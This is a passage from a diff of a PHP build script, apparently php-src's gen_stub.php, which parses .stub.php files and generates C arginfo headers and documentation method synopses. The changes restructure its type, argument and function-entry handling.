$argv[$optind + 1] ?? null; -if ($replaceMethodSynopses && $targetMethodSynopses === null) { - die("A target directory must be provided.\n"); -} - -if (isset($options["h"]) || isset($options["help"])) { - die("\nusage: gen-stub.php [ -f | --force-regeneration ] [ --generate-methodsynopses ] [ --replace-methodsynopses ] [ --parameter-stats ] [ --verify ] [ -h | --help ] [ name.stub.php | directory ] [ directory ]\n\n"); -} - -$fileInfos = []; -$location = $argv[$optind] ?? "."; -if (is_file($location)) { - // Generate single file. - $fileInfo = processStubFile($location, $context); - if ($fileInfo) { - $fileInfos[] = $fileInfo; - } -} else if (is_dir($location)) { - $fileInfos = processDirectory($location, $context); -} else { - echo "$location is neither a file nor a directory.\n"; - exit(1); -} - -if ($printParameterStats) { - $parameterStats = []; - - foreach ($fileInfos as $fileInfo) { - foreach ($fileInfo->getAllFuncInfos() as $funcInfo) { - foreach ($funcInfo->args as $argInfo) { - if (!isset($parameterStats[$argInfo->name])) { - $parameterStats[$argInfo->name] = 0; - } - $parameterStats[$argInfo->name]++; - } - } - } - - arsort($parameterStats); - echo json_encode($parameterStats, JSON_PRETTY_PRINT), "\n"; -} - -/** @var FuncInfo[] $funcMap */ -$funcMap = []; -/** @var FuncInfo[] $aliasMap */ -$aliasMap = []; - -foreach ($fileInfos as $fileInfo) { - foreach ($fileInfo->getAllFuncInfos() as $funcInfo) { - /** @var FuncInfo $funcInfo */ - $funcMap[$funcInfo->name->__toString()] = $funcInfo; - - if ($funcInfo->aliasType === "alias") { - $aliasMap[$funcInfo->alias->__toString()] = $funcInfo; - } - } -} - -if ($verify) { - $errors = []; - - foreach ($aliasMap as $aliasFunc) { - if (!isset($funcMap[$aliasFunc->alias->__toString()])) { - $errors[] = "Aliased function {$aliasFunc->alias}() cannot be found"; - continue; - } - - if (!$aliasFunc->verify) { - continue; - } - - $aliasedFunc = $funcMap[$aliasFunc->alias->__toString()]; - $aliasedArgs = $aliasedFunc->args; - $aliasArgs = $aliasFunc->args; - - if ($aliasFunc->isInstanceMethod() !== $aliasedFunc->isInstanceMethod()) { - if ($aliasFunc->isInstanceMethod()) { - $aliasedArgs = array_slice($aliasedArgs, 1); - } - - if ($aliasedFunc->isInstanceMethod()) { - $aliasArgs = array_slice($aliasArgs, 1); - } - } - - array_map( - function(?ArgInfo $aliasArg, ?ArgInfo $aliasedArg) use ($aliasFunc, $aliasedFunc, &$errors) { - if ($aliasArg === null) { - assert($aliasedArg !== null); - $errors[] = "{$aliasFunc->name}(): Argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() is missing"; - return null; - } - - if ($aliasedArg === null) { - $errors[] = "{$aliasedFunc->name}(): Argument \$$aliasArg->name of alias function {$aliasFunc->name}() is missing"; - return null; - } - - if ($aliasArg->name !== $aliasedArg->name) { - $errors[] = "{$aliasFunc->name}(): Argument \$$aliasArg->name and argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() must have the same name"; - return null; - } - - if ($aliasArg->type != $aliasedArg->type) { - $errors[] = "{$aliasFunc->name}(): Argument \$$aliasArg->name and argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() must have the same type"; - } - - if ($aliasArg->defaultValue !== $aliasedArg->defaultValue) { - $errors[] = "{$aliasFunc->name}(): Argument \$$aliasArg->name and argument \$$aliasedArg->name of aliased function {$aliasedFunc->name}() must have the same default value"; - } - }, - $aliasArgs, $aliasedArgs - ); - - if ((!$aliasedFunc->isMethod() || $aliasedFunc->isFinalMethod()) && - (!$aliasFunc->isMethod() || $aliasFunc->isFinalMethod()) && - $aliasFunc->return != $aliasedFunc->return - ) { - $errors[] = "{$aliasFunc->name}() and {$aliasedFunc->name}() must have the same return type"; - } - } - - echo implode("\n", $errors); - if (!empty($errors)) { - echo "\n"; - exit(1); - } -} - -if ($generateMethodSynopses) { - $methodSynopsesDirectory = getcwd() . "/methodsynopses"; - - $methodSynopses = generateMethodSynopses($funcMap, $aliasMap); - if (!empty($methodSynopses)) { - if (!file_exists($methodSynopsesDirectory)) { - mkdir($methodSynopsesDirectory); - } - - foreach ($methodSynopses as $filename => $content) { - if (file_put_contents("$methodSynopsesDirectory/$filename", $content)) { - echo "Saved $filename\n"; - } - } - } -} - -if ($replaceMethodSynopses) { - $methodSynopses = replaceMethodSynopses($targetMethodSynopses, $funcMap, $aliasMap); - - foreach ($methodSynopses as $filename => $content) { - if (file_put_contents($filename, $content)) { - echo "Saved $filename\n"; - } - } -} +#!/usr/bin/env php +getPathName(); + if (preg_match('/\.stub\.php$/', $pathName)) { + $fileInfo = processStubFile($pathName, $context); + if ($fileInfo) { + $fileInfos[] = $fileInfo; + } + } + } + + return $fileInfos; +} + +function processStubFile(string $stubFile, Context $context): ?FileInfo { + try { + if (!file_exists($stubFile)) { + throw new Exception("File $stubFile does not exist"); + } + + $arginfoFile = str_replace('.stub.php', '_arginfo.h', $stubFile); + $legacyFile = str_replace('.stub.php', '_legacy_arginfo.h', $stubFile); + + $stubCode = file_get_contents($stubFile); + $stubHash = computeStubHash($stubCode); + $oldStubHash = extractStubHash($arginfoFile); + if ($stubHash === $oldStubHash && !$context->forceParse) { + /* Stub file did not change, do not regenerate. */ + return null; + } + + initPhpParser(); + $fileInfo = parseStubFile($stubCode); + $arginfoCode = generateArgInfoCode($fileInfo, $stubHash, $context->minimalArgInfo); + if (($context->forceRegeneration || $stubHash !== $oldStubHash) && file_put_contents($arginfoFile, $arginfoCode)) { + echo "Saved $arginfoFile\n"; + } + + if ($fileInfo->generateLegacyArginfo) { + foreach ($fileInfo->getAllFuncInfos() as $funcInfo) { + $funcInfo->discardInfoForOldPhpVersions(); + } + $arginfoCode = generateArgInfoCode($fileInfo, $stubHash, $context->minimalArgInfo); + if (($context->forceRegeneration || $stubHash !== $oldStubHash) && file_put_contents($legacyFile, $arginfoCode)) { + echo "Saved $legacyFile\n"; + } + } + + return $fileInfo; + } catch (Exception $e) { + echo "In $stubFile:\n{$e->getMessage()}\n"; + exit(1); + } +} + +function computeStubHash(string $stubCode): string { + return sha1(str_replace("\r\n", "\n", $stubCode)); +} + +function extractStubHash(string $arginfoFile): ?string { + if (!file_exists($arginfoFile)) { + return null; + } + + $arginfoCode = file_get_contents($arginfoFile); + if (!preg_match('/\* Stub hash: ([0-9a-f]+) \*/', $arginfoCode, $matches)) { + return null; + } + + return $matches[1]; +} + +class Context { + /** @var bool */ + public $forceParse = false; + /** @var bool */ + public $forceRegeneration = false; + /** @var bool */ + public $minimalArgInfo = false; +} + +class SimpleType { + /** @var string */ + public $name; + /** @var bool */ + public $isBuiltin; + + public function __construct(string $name, bool $isBuiltin) { + $this->name = $name; + $this->isBuiltin = $isBuiltin; + } + + public static function fromNode(Node $node): SimpleType { + if ($node instanceof Node\Name) { + if ($node->toLowerString() === 'static') { + // PHP internally considers "static" a builtin type. + return new SimpleType($node->toString(), true); + } + + assert($node->isFullyQualified()); + return new SimpleType($node->toString(), false); + } + if ($node instanceof Node\Identifier) { + return new SimpleType($node->toString(), true); + } + throw new Exception("Unexpected node type"); + } + + public static function fromPhpDoc(string $type): SimpleType + { + switch (strtolower($type)) { + case "void": + case "null": + case "false": + case "bool": + case "int": + case "float": + case "string": + case "array": + case "iterable": + case "object": + case "resource": + case "mixed": + case "self": + case "static": + return new SimpleType(strtolower($type), true); + } + + if (strpos($type, "[]") !== false) { + return new SimpleType("array", true); + } + + return new SimpleType($type, false); + } + + public static function null(): SimpleType + { + return new SimpleType("null", true); + } + + public static function void(): SimpleType + { + return new SimpleType("void", true); + } + + public function isNull(): bool { + return $this->isBuiltin && $this->name === 'null'; + } + + public function toTypeCode(): string { + assert($this->isBuiltin); + switch (strtolower($this->name)) { + case "bool": + return "_IS_BOOL"; + case "int": + return "IS_LONG"; + case "float": + return "IS_DOUBLE"; + case "string": + return "IS_STRING"; + case "array": + return "IS_ARRAY"; + case "object": + return "IS_OBJECT"; + case "void": + return "IS_VOID"; + case "callable": + return "IS_CALLABLE"; + case "iterable": + return "IS_ITERABLE"; + case "mixed": + return "IS_MIXED"; + case "static": + return "IS_STATIC"; + default: + throw new Exception("Not implemented: $this->name"); + } + } + + public function toTypeMask() { + assert($this->isBuiltin); + switch (strtolower($this->name)) { + case "null": + return "MAY_BE_NULL"; + case "false": + return "MAY_BE_FALSE"; + case "bool": + return "MAY_BE_BOOL"; + case "int": + return "MAY_BE_LONG"; + case "float": + return "MAY_BE_DOUBLE"; + case "string": + return "MAY_BE_STRING"; + case "array": + return "MAY_BE_ARRAY"; + case "object": + return "MAY_BE_OBJECT"; + case "callable": + return "MAY_BE_CALLABLE"; + case "mixed": + return "MAY_BE_ANY"; + case "static": + return "MAY_BE_STATIC"; + default: + throw new Exception("Not implemented: $this->name"); + } + } + + public function toEscapedName(): string { + return str_replace('\\', '\\\\', $this->name); + } + + public function equals(SimpleType $other) { + return $this->name === $other->name + && $this->isBuiltin === $other->isBuiltin; + } +} + +class Type { + /** @var SimpleType[] $types */ + public $types; + + public function __construct(array $types) { + $this->types = $types; + } + + public static function fromNode(Node $node): Type { + if ($node instanceof Node\UnionType) { + return new Type(array_map(['SimpleType', 'fromNode'], $node->types)); + } + if ($node instanceof Node\NullableType) { + return new Type([ + SimpleType::fromNode($node->type), + SimpleType::null(), + ]); + } + return new Type([SimpleType::fromNode($node)]); + } + + public static function fromPhpDoc(string $phpDocType) { + $types = explode("|", $phpDocType); + + $simpleTypes = []; + foreach ($types as $type) { + $simpleTypes[] = SimpleType::fromPhpDoc($type); + } + + return new Type($simpleTypes); + } + + public function isNullable(): bool { + foreach ($this->types as $type) { + if ($type->isNull()) { + return true; + } + } + return false; + } + + public function getWithoutNull(): Type { + return new Type(array_filter($this->types, function(SimpleType $type) { + return !$type->isNull(); + })); + } + + public function tryToSimpleType(): ?SimpleType { + $withoutNull = $this->getWithoutNull(); + if (count($withoutNull->types) === 1) { + return $withoutNull->types[0]; + } + return null; + } + + public function toArginfoType(): ?ArginfoType { + $classTypes = []; + $builtinTypes = []; + foreach ($this->types as $type) { + if ($type->isBuiltin) { + $builtinTypes[] = $type; + } else { + $classTypes[] = $type; + } + } + return new ArginfoType($classTypes, $builtinTypes); + } + + public static function equals(?Type $a, ?Type $b): bool { + if ($a === null || $b === null) { + return $a === $b; + } + + if (count($a->types) !== count($b->types)) { + return false; + } + + for ($i = 0; $i < count($a->types); $i++) { + if (!$a->types[$i]->equals($b->types[$i])) { + return false; + } + } + + return true; + } + + public function __toString() { + if ($this->types === null) { + return 'mixed'; + } + + return implode('|', array_map( + function ($type) { return $type->name; }, + $this->types) + ); + } +} + +class ArginfoType { + /** @var ClassType[] $classTypes */ + public $classTypes; + + /** @var SimpleType[] $builtinTypes */ + private $builtinTypes; + + public function __construct(array $classTypes, array $builtinTypes) { + $this->classTypes = $classTypes; + $this->builtinTypes = $builtinTypes; + } + + public function hasClassType(): bool { + return !empty($this->classTypes); + } + + public function toClassTypeString(): string { + return implode('|', array_map(function(SimpleType $type) { + return $type->toEscapedName(); + }, $this->classTypes)); + } + + public function toTypeMask(): string { + if (empty($this->builtinTypes)) { + return '0'; + } + return implode('|', array_map(function(SimpleType $type) { + return $type->toTypeMask(); + }, $this->builtinTypes)); + } +} + +class ArgInfo { + const SEND_BY_VAL = 0; + const SEND_BY_REF = 1; + const SEND_PREFER_REF = 2; + + /** @var string */ + public $name; + /** @var int */ + public $sendBy; + /** @var bool */ + public $isVariadic; + /** @var Type|null */ + public $type; + /** @var Type|null */ + public $phpDocType; + /** @var string|null */ + public $defaultValue; + + public function __construct(string $name, int $sendBy, bool $isVariadic, ?Type $type, ?Type $phpDocType, ?string $defaultValue) { + $this->name = $name; + $this->sendBy = $sendBy; + $this->isVariadic = $isVariadic; + $this->type = $type; + $this->phpDocType = $phpDocType; + $this->defaultValue = $defaultValue; + } + + public function equals(ArgInfo $other): bool { + return $this->name === $other->name + && $this->sendBy === $other->sendBy + && $this->isVariadic === $other->isVariadic + && Type::equals($this->type, $other->type) + && $this->defaultValue === $other->defaultValue; + } + + public function getSendByString(): string { + switch ($this->sendBy) { + case self::SEND_BY_VAL: + return "0"; + case self::SEND_BY_REF: + return "1"; + case self::SEND_PREFER_REF: + return "ZEND_SEND_PREFER_REF"; + } + throw new Exception("Invalid sendBy value"); + } + + public function getMethodSynopsisType(): Type { + if ($this->type) { + return $this->type; + } + + if ($this->phpDocType) { + return $this->phpDocType; + } + + throw new Exception("A parameter must have a type"); + } + + public function hasProperDefaultValue(): bool { + return $this->defaultValue !== null && $this->defaultValue !== "UNKNOWN"; + } + + public function getDefaultValueAsArginfoString(): string { + if ($this->hasProperDefaultValue()) { + return '"' . addslashes($this->defaultValue) . '"'; + } + + return "NULL"; + } + + public function getDefaultValueAsMethodSynopsisString(): ?string { + if ($this->defaultValue === null) { + return null; + } + + switch ($this->defaultValue) { + case 'UNKNOWN': + return null; + case 'false': + case 'true': + case 'null': + return "&{$this->defaultValue};"; + } + + return $this->defaultValue; + } +} + +interface FunctionOrMethodName { + public function getDeclaration(): string; + public function getArgInfoName(): string; + public function getMethodSynopsisFilename(): string; + public function __toString(): string; + public function isMethod(): bool; + public function isConstructor(): bool; + public function isDestructor(): bool; +} + +class FunctionName implements FunctionOrMethodName { + /** @var Name */ + private $name; + + public function __construct(Name $name) { + $this->name = $name; + } + + public function getNamespace(): ?string { + if ($this->name->isQualified()) { + return $this->name->slice(0, -1)->toString(); + } + return null; + } + + public function getNonNamespacedName(): string { + if ($this->name->isQualified()) { + throw new Exception("Namespaced name not supported here"); + } + return $this->name->toString(); + } + + public function getDeclarationName(): string { + return $this->name->getLast(); + } + + public function getDeclaration(): string { + return "ZEND_FUNCTION({$this->getDeclarationName()});\n"; + } + + public function getArgInfoName(): string { + $underscoreName = implode('_', $this->name->parts); + return "arginfo_$underscoreName"; + } + + public function getMethodSynopsisFilename(): string { + return implode('_', $this->name->parts); + } + + public function __toString(): string { + return $this->name->toString(); + } + + public function isMethod(): bool { + return false; + } + + public function isConstructor(): bool { + return false; + } + + public function isDestructor(): bool { + return false; + } +} + +class MethodName implements FunctionOrMethodName { + /** @var Name */ + private $className; + /** @var string */ + public $methodName; + + public function __construct(Name $className, string $methodName) { + $this->className = $className; + $this->methodName = $methodName; + } + + public function getDeclarationClassName(): string { + return implode('_', $this->className->parts); + } + + public function getDeclaration(): string { + return "ZEND_METHOD({$this->getDeclarationClassName()}, $this->methodName);\n"; + } + + public function getArgInfoName(): string { + return "arginfo_class_{$this->getDeclarationClassName()}_{$this->methodName}"; + } + + public function getMethodSynopsisFilename(): string { + return $this->getDeclarationClassName() . "_{$this->methodName}"; + } + + public function __toString(): string { + return "$this->className::$this->methodName"; + } + + public function isMethod(): bool { + return true; + } + + public function isConstructor(): bool { + return $this->methodName === "__construct"; + } + + public function isDestructor(): bool { + return $this->methodName === "__destruct"; + } +} + +class ReturnInfo { + /** @var bool */ + public $byRef; + /** @var Type|null */ + public $type; + /** @var Type|null */ + public $phpDocType; + + public function __construct(bool $byRef, ?Type $type, ?Type $phpDocType) { + $this->byRef = $byRef; + $this->type = $type; + $this->phpDocType = $phpDocType; + } + + public function equals(ReturnInfo $other): bool { + return $this->byRef === $other->byRef + && Type::equals($this->type, $other->type); + } + + public function getMethodSynopsisType(): ?Type { + return $this->type ?? $this->phpDocType; + } +} + +class FuncInfo { + /** @var FunctionOrMethodName */ + public $name; + /** @var int */ + public $classFlags; + /** @var int */ + public $flags; + /** @var string|null */ + public $aliasType; + /** @var FunctionName|null */ + public $alias; + /** @var bool */ + public $isDeprecated; + /** @var bool */ + public $verify; + /** @var ArgInfo[] */ + public $args; + /** @var ReturnInfo */ + public $return; + /** @var int */ + public $numRequiredArgs; + /** @var string|null */ + public $cond; + + public function __construct( + FunctionOrMethodName $name, + int $classFlags, + int $flags, + ?string $aliasType, + ?FunctionOrMethodName $alias, + bool $isDeprecated, + bool $verify, + array $args, + ReturnInfo $return, + int $numRequiredArgs, + ?string $cond + ) { + $this->name = $name; + $this->classFlags = $classFlags; + $this->flags = $flags; + $this->aliasType = $aliasType; + $this->alias = $alias; + $this->isDeprecated = $isDeprecated; + $this->verify = $verify; + $this->args = $args; + $this->return = $return; + $this->numRequiredArgs = $numRequiredArgs; + $this->cond = $cond; + } + + public function isMethod(): bool + { + return $this->name->isMethod(); + } + + public function isFinalMethod(): bool + { + return ($this->flags & Class_::MODIFIER_FINAL) || ($this->classFlags & Class_::MODIFIER_FINAL); + } + + public function isInstanceMethod(): bool + { + return !($this->flags & Class_::MODIFIER_STATIC) && $this->isMethod() && !$this->name->isConstructor(); + } + + /** @return string[] */ + public function getModifierNames(): array + { + if (!$this->isMethod()) { + return []; + } + + $result = []; + + if ($this->flags & Class_::MODIFIER_FINAL) { + $result[] = "final"; + } elseif ($this->flags & Class_::MODIFIER_ABSTRACT && $this->classFlags & ~Class_::MODIFIER_ABSTRACT) { + $result[] = "abstract"; + } + + if ($this->flags & Class_::MODIFIER_PROTECTED) { + $result[] = "protected"; + } elseif ($this->flags & Class_::MODIFIER_PRIVATE) { + $result[] = "private"; + } else { + $result[] = "public"; + } + + if ($this->flags & Class_::MODIFIER_STATIC) { + $result[] = "static"; + } + + return $result; + } + + public function hasParamWithUnknownDefaultValue(): bool + { + foreach ($this->args as $arg) { + if ($arg->defaultValue && !$arg->hasProperDefaultValue()) { + return true; + } + } + + return false; + } + + public function equalsApartFromName(FuncInfo $other): bool { + if (count($this->args) !== count($other->args)) { + return false; + } + + for ($i = 0; $i < count($this->args); $i++) { + if (!$this->args[$i]->equals($other->args[$i])) { + return false; + } + } + + return $this->return->equals($other->return) + && $this->numRequiredArgs === $other->numRequiredArgs + && $this->cond === $other->cond; + } + + public function getArgInfoName(): string { + return $this->name->getArgInfoName(); + } + + public function getDeclarationKey(): string + { + $name = $this->alias ?? $this->name; + + return "$name|$this->cond"; + } + + public function getDeclaration(): ?string + { + if ($this->flags & Class_::MODIFIER_ABSTRACT) { + return null; + } + + $name = $this->alias ?? $this->name; + + return $name->getDeclaration(); + } + + public function getFunctionEntry(): string { + if ($this->name instanceof MethodName) { + if ($this->alias) { + if ($this->alias instanceof MethodName) { + return sprintf( + "\tZEND_MALIAS(%s, %s, %s, %s, %s)\n", + $this->alias->getDeclarationClassName(), $this->name->methodName, + $this->alias->methodName, $this->getArgInfoName(), $this->getFlagsAsArginfoString() + ); + } else if ($this->alias instanceof FunctionName) { + return sprintf( + "\tZEND_ME_MAPPING(%s, %s, %s, %s)\n", + $this->name->methodName, $this->alias->getNonNamespacedName(), + $this->getArgInfoName(), $this->getFlagsAsArginfoString() + ); + } else { + throw new Error("Cannot happen"); + } + } else { + $declarationClassName = $this->name->getDeclarationClassName(); + if ($this->flags & Class_::MODIFIER_ABSTRACT) { + return sprintf( + "\tZEND_ABSTRACT_ME_WITH_FLAGS(%s, %s, %s, %s)\n", + $declarationClassName, $this->name->methodName, $this->getArgInfoName(), + $this->getFlagsAsArginfoString() + ); + } + + return sprintf( + "\tZEND_ME(%s, %s, %s, %s)\n", + $declarationClassName, $this->name->methodName, $this->getArgInfoName(), + $this->getFlagsAsArginfoString() + ); + } + } else if ($this->name instanceof FunctionName) { + $namespace = $this->name->getNamespace(); + $declarationName = $this->name->getDeclarationName(); + + if ($this->alias && $this->isDeprecated) { + return sprintf( + "\tZEND_DEP_FALIAS(%s, %s, %s)\n", + $declarationName, $this->alias->getNonNamespacedName(), $this->getArgInfoName() + ); + } + + if ($this->alias) { + return sprintf( + "\tZEND_FALIAS(%s, %s, %s)\n", + $declarationName, $this->alias->getNonNamespacedName(), $this->getArgInfoName() + ); + } + + if ($this->isDeprecated) { + return sprintf( + "\tZEND_DEP_FE(%s, %s)\n", $declarationName, $this->getArgInfoName()); + } + + if ($namespace) { + // Render A\B as "A\\B" in C strings for namespaces + return sprintf( + "\tZEND_NS_FE(\"%s\", %s, %s)\n", + addslashes($namespace), $declarationName, $this->getArgInfoName()); + } else { + return sprintf("\tZEND_FE(%s, %s)\n", $declarationName, $this->getArgInfoName()); + } + } else { + throw new Error("Cannot happen"); + } + } + + private function getFlagsAsArginfoString(): string + { + $flags = "ZEND_ACC_PUBLIC"; + if ($this->flags & Class_::MODIFIER_PROTECTED) { + $flags = "ZEND_ACC_PROTECTED"; + } elseif ($this->flags & Class_::MODIFIER_PRIVATE) { + $flags = "ZEND_ACC_PRIVATE"; + } + + if ($this->flags & Class_::MODIFIER_STATIC) { + $flags .= "|ZEND_ACC_STATIC"; + } + + if ($this->flags & Class_::MODIFIER_FINAL) { + $flags .= "|ZEND_ACC_FINAL"; + } + + if ($this->flags & Class_::MODIFIER_ABSTRACT) { + $flags .= "|ZEND_ACC_ABSTRACT"; + } + + if ($this->isDeprecated) { + $flags .= "|ZEND_ACC_DEPRECATED"; + } + + return $flags; + } + + /** + * @param FuncInfo[] $funcMap + * @param FuncInfo[] $aliasMap + * @throws Exception + */ + public function getMethodSynopsisDocument(array $funcMap, array $aliasMap): ?string { + + $doc = new DOMDocument(); + $doc->formatOutput = true; + $methodSynopsis = $this->getMethodSynopsisElement($funcMap, $aliasMap, $doc); + if (!$methodSynopsis) { + return null; + } + + $doc->appendChild($methodSynopsis); + + return $doc->saveXML(); + } + + /** + * @param FuncInfo[] $funcMap + * @param FuncInfo[] $aliasMap + * @throws Exception + */ + public function getMethodSynopsisElement(array $funcMap, array $aliasMap, DOMDocument $doc): ?DOMElement { + if ($this->hasParamWithUnknownDefaultValue()) { + return null; + } + + if ($this->name->isConstructor()) { + $synopsisType = "constructorsynopsis"; + } elseif ($this->name->isDestructor()) { + $synopsisType = "destructorsynopsis"; + } else { + $synopsisType = "methodsynopsis"; + } + + $methodSynopsis = $doc->createElement($synopsisType); + + $aliasedFunc = $this->aliasType === "alias" && isset($funcMap[$this->alias->__toString()]) ? $funcMap[$this->alias->__toString()] : null; + $aliasFunc = $aliasMap[$this->name->__toString()] ?? null; + + if (($this->aliasType === "alias" && $aliasedFunc !== null && $aliasedFunc->isMethod() !== $this->isMethod()) || + ($aliasFunc !== null && $aliasFunc->isMethod() !== $this->isMethod()) + ) { + $role = $doc->createAttribute("role"); + $role->value = $this->isMethod() ? "oop" : "procedural"; + $methodSynopsis->appendChild($role); + } + + $methodSynopsis->appendChild(new DOMText("\n ")); + + foreach ($this->getModifierNames() as $modifierString) { + $modifierElement = $doc->createElement('modifier', $modifierString); + $methodSynopsis->appendChild($modifierElement); + $methodSynopsis->appendChild(new DOMText(" ")); + } + + $returnType = $this->return->getMethodSynopsisType(); + if ($returnType) { + $this->appendMethodSynopsisTypeToElement($doc, $methodSynopsis, $returnType); + } + + $methodname = $doc->createElement('methodname', $this->name->__toString()); + $methodSynopsis->appendChild($methodname); + + if (empty($this->args)) { + $methodSynopsis->appendChild(new DOMText("\n ")); + $void = $doc->createElement('void'); + $methodSynopsis->appendChild($void); + } else { + foreach ($this->args as $arg) { + $methodSynopsis->appendChild(new DOMText("\n ")); + $methodparam = $doc->createElement('methodparam'); + if ($arg->defaultValue !== null) { + $methodparam->setAttribute("choice", "opt"); + } + if ($arg->isVariadic) { + $methodparam->setAttribute("rep", "repeat"); + } + + $methodSynopsis->appendChild($methodparam); + $this->appendMethodSynopsisTypeToElement($doc, $methodparam, $arg->getMethodSynopsisType()); + + $parameter = $doc->createElement('parameter', $arg->name); + if ($arg->sendBy !== ArgInfo::SEND_BY_VAL) { + $parameter->setAttribute("role", "reference"); + } + + $methodparam->appendChild($parameter); + $defaultValue = $arg->getDefaultValueAsMethodSynopsisString(); + if ($defaultValue !== null) { + $initializer = $doc->createElement('initializer'); + if (preg_match('/^[a-zA-Z_][a-zA-Z_0-9]*$/', $defaultValue)) { + $constant = $doc->createElement('constant', $defaultValue); + $initializer->appendChild($constant); + } else { + $initializer->nodeValue = $defaultValue; + } + $methodparam->appendChild($initializer); + } + } + } + $methodSynopsis->appendChild(new DOMText("\n ")); + + return $methodSynopsis; + } + + public function discardInfoForOldPhpVersions(): void { + $this->return->type = null; + foreach ($this->args as $arg) { + $arg->type = null; + $arg->defaultValue = null; + } + } + + private function appendMethodSynopsisTypeToElement(DOMDocument $doc, DOMElement $elementToAppend, Type $type) { + if (count($type->types) > 1) { + $typeElement = $doc->createElement('type'); + $typeElement->setAttribute("class", "union"); + + foreach ($type->types as $type) { + $unionTypeElement = $doc->createElement('type', $type->name); + $typeElement->appendChild($unionTypeElement); + } + } else { + $typeElement = $doc->createElement('type', $type->types[0]->name); + } + + $elementToAppend->appendChild($typeElement); + } +} + +class ClassInfo { + /** @var Name */ + public $name; + /** @var FuncInfo[] */ + public $funcInfos; + + public function __construct(Name $name, array $funcInfos) { + $this->name = $name; + $this->funcInfos = $funcInfos; + } +} + +class FileInfo { + /** @var FuncInfo[] */ + public $funcInfos = []; + /** @var ClassInfo[] */ + public $classInfos = []; + /** @var bool */ + public $generateFunctionEntries = false; + /** @var string */ + public $declarationPrefix = ""; + /** @var bool */ + public $generateLegacyArginfo = false; + + /** + * @return iterable + */ + public function getAllFuncInfos(): iterable { + yield from $this->funcInfos; + foreach ($this->classInfos as $classInfo) { + yield from $classInfo->funcInfos; + } + } +} + +class DocCommentTag { + /** @var string */ + public $name; + /** @var string|null */ + public $value; + + public function __construct(string $name, ?string $value) { + $this->name = $name; + $this->value = $value; + } + + public function getValue(): string { + if ($this->value === null) { + throw new Exception("@$this->name does not have a value"); + } + + return $this->value; + } + + public function getType(): string { + $value = $this->getValue(); + + $matches = []; + + if ($this->name === "param") { + preg_match('/^\s*([\w\|\\\\\[\]]+)\s*\$\w+.*$/', $value, $matches); + } elseif ($this->name === "return") { + preg_match('/^\s*([\w\|\\\\\[\]]+)\s*$/', $value, $matches); + } + + if (isset($matches[1]) === false) { + throw new Exception("@$this->name doesn't contain a type or has an invalid format \"$value\""); + } + + return $matches[1]; + } + + public function getVariableName(): string { + $value = $this->value; + if ($value === null || strlen($value) === 0) { + throw new Exception("@$this->name doesn't have any value"); + } + + $matches = []; + + if ($this->name === "param") { + preg_match('/^\s*[\w\|\\\\\[\]]+\s*\$(\w+).*$/', $value, $matches); + } elseif ($this->name === "prefer-ref") { + preg_match('/^\s*\$(\w+).*$/', $value, $matches); + } + + if (isset($matches[1]) === false) { + throw new Exception("@$this->name doesn't contain a variable name or has an invalid format \"$value\""); + } + + return $matches[1]; + } +} + +/** @return DocCommentTag[] */ +function parseDocComment(DocComment $comment): array { + $commentText = substr($comment->getText(), 2, -2); + $tags = []; + foreach (explode("\n", $commentText) as $commentLine) { + $regex = '/^\*\s*@([a-z-]+)(?:\s+(.+))?$/'; + if (preg_match($regex, trim($commentLine), $matches)) { + $tags[] = new DocCommentTag($matches[1], $matches[2] ?? null); + } + } + + return $tags; +} + +function parseFunctionLike( + PrettyPrinterAbstract $prettyPrinter, + FunctionOrMethodName $name, + int $classFlags, + int $flags, + Node\FunctionLike $func, + ?string $cond +): FuncInfo { + $comment = $func->getDocComment(); + $paramMeta = []; + $aliasType = null; + $alias = null; + $isDeprecated = false; + $verify = true; + $docReturnType = null; + $docParamTypes = []; + + if ($comment) { + $tags = parseDocComment($comment); + foreach ($tags as $tag) { + if ($tag->name === 'prefer-ref') { + $varName = $tag->getVariableName(); + if (!isset($paramMeta[$varName])) { + $paramMeta[$varName] = []; + } + $paramMeta[$varName]['preferRef'] = true; + } else if ($tag->name === 'alias' || $tag->name === 'implementation-alias') { + $aliasType = $tag->name; + $aliasParts = explode("::", $tag->getValue()); + if (count($aliasParts) === 1) { + $alias = new FunctionName(new Name($aliasParts[0])); + } else { + $alias = new MethodName(new Name($aliasParts[0]), $aliasParts[1]); + } + } else if ($tag->name === 'deprecated') { + $isDeprecated = true; + } else if ($tag->name === 'no-verify') { + $verify = false; + } else if ($tag->name === 'return') { + $docReturnType = $tag->getType(); + } else if ($tag->name === 'param') { + $docParamTypes[$tag->getVariableName()] = $tag->getType(); + } + } + } + + $varNameSet = []; + $args = []; + $numRequiredArgs = 0; + $foundVariadic = false; + foreach ($func->getParams() as $i => $param) { + $varName = $param->var->name; + $preferRef = !empty($paramMeta[$varName]['preferRef']); + unset($paramMeta[$varName]); + + if (isset($varNameSet[$varName])) { + throw new Exception("Duplicate parameter name $varName for function $name"); + } + $varNameSet[$varName] = true; + + if ($preferRef) { + $sendBy = ArgInfo::SEND_PREFER_REF; + } else if ($param->byRef) { + $sendBy = ArgInfo::SEND_BY_REF; + } else { + $sendBy = ArgInfo::SEND_BY_VAL; + } + + if ($foundVariadic) { + throw new Exception("Error in function $name: only the last parameter can be variadic"); + } + + $type = $param->type ? Type::fromNode($param->type) : null; + if ($type === null && !isset($docParamTypes[$varName])) { + throw new Exception("Missing parameter type for function $name()"); + } + + if ($param->default instanceof Expr\ConstFetch && + $param->default->name->toLowerString() === "null" && + $type && !$type->isNullable() + ) { + $simpleType = $type->tryToSimpleType(); + if ($simpleType === null) { + throw new Exception( + "Parameter $varName of function $name has null default, but is not nullable"); + } + } + + $foundVariadic = $param->variadic; + + $args[] = new ArgInfo( + $varName, + $sendBy, + $param->variadic, + $type, + isset($docParamTypes[$varName]) ? Type::fromPhpDoc($docParamTypes[$varName]) : null, + $param->default ? $prettyPrinter->prettyPrintExpr($param->default) : null + ); + if (!$param->default && !$param->variadic) { + $numRequiredArgs = $i + 1; + } + } + + foreach (array_keys($paramMeta) as $var) { + throw new Exception("Found metadata for invalid param $var of function $name"); + } + + $returnType = $func->getReturnType(); + if ($returnType === null && $docReturnType === null && !$name->isConstructor() && !$name->isDestructor()) { + throw new Exception("Missing return type for function $name()"); + } + + $return = new ReturnInfo( + $func->returnsByRef(), + $returnType ? Type::fromNode($returnType) : null, + $docReturnType ? Type::fromPhpDoc($docReturnType) : null + ); + + return new FuncInfo( + $name, + $classFlags, + $flags, + $aliasType, + $alias, + $isDeprecated, 